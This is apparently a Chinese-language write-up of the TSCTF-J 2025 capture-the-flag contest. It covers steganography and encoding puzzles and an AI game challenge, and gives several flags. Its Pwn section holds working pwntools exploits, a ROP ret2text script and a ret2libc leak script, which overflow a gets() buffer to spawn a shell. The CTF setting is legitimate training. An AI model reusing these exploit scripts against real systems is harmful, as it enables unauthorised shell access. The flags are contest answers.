1 3WQlwSaj.txt_dubZ3AZn.txt_nhlbNxGL.txt_qtFyaGkZ.txt_wlBUCOeg.txt_2JuiKL42.wav_4UjLqeRF.wav_Ew24ldS2.wav_HjRtD6f3.wav_RtUwEgj1.wav_8YmxZRca.pdf_Z8P4DHre.pdf_mFU1SdVp.pdf_w9V1ZDEd.pdf_xdBqKtxe.pdf
TSCTF-J{0b4a2a6431f6b94b3c1d3d50d0a45aea}
卢森堡的秘密 隐写术 用zsteg 查看即可
Meow 用Meow 运行 得到如下顺序
1 2 3 4 5 vfndveyTsNSk mv9bBq== xZrFq2fu x01LB3Dnztb3 iseHFq==
将大小写转换
1 VFNDVEYtSnsKMV9BbQ==XzRfQ2FUX01lb3dNZTB3ISEhfQ==
分别base64编码即可 TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}
AI 方向 Coup 这个有点搞 我0提示词直接通过游戏获得flag了
Pwn ret 源代码 利用 ret 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); vuln(); return 0; } __int64 vuln() { _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF puts("Welcome to TSCTF-J2025!"); puts("Just a simple sign-in!"); return gets(v1); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p = remote('192.168.232.1' , 61752 ) offset = 24 pop_rdi_ret = 0x400773 bin_sh_addr = 0x400794 system_plt = 0x400530 payload = b'A' * offset payload += p64(pop_rdi_ret) payload += p64(bin_sh_addr) payload += p64(system_plt) p.sendline(payload) p.interactive()
由此可以获得服务器shell 获得flag TSCTF-J{WE1coM3-To_TH3_WOrLD-OF-binAry-vUlnErAblLitY7}
pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *e = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = process('./pwn' ) puts_plt = e.plt['puts' ] puts_got = e.got['puts' ] start_addr = e.symbols['_start' ] pop_rdi_ret = 0x400713 payload1 = b'a' * 24 payload1 += p64(pop_rdi_ret) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(start_addr) p.sendlineafter("No backdoors this time!" , payload1) puts_real_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) print (f"puts_plt: {hex (puts_plt)} , puts_got: {hex (puts_got)} , start_addr: {hex (start_addr)} " )print (f"puts_real_addr: {hex (puts_real_addr)} " )libc_base = puts_real_addr - libc.sym['puts' ] print (f"libc_base: {hex (libc_base)} " )system_addr = libc_base + libc.sym["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) payload2 = b'a' * 24 payload2 += p64(0x4004c9 ) payload2 += p64(pop_rdi_ret) payload2 += p64(binsh_addr) payload2 += p64(system_addr) p.sendlineafter("No backdoors this time!" , payload2) p.interactive()
这个脚本我本地测试是可以获得shell的 但是远程的时候报错 最后时间来不及了 没做出来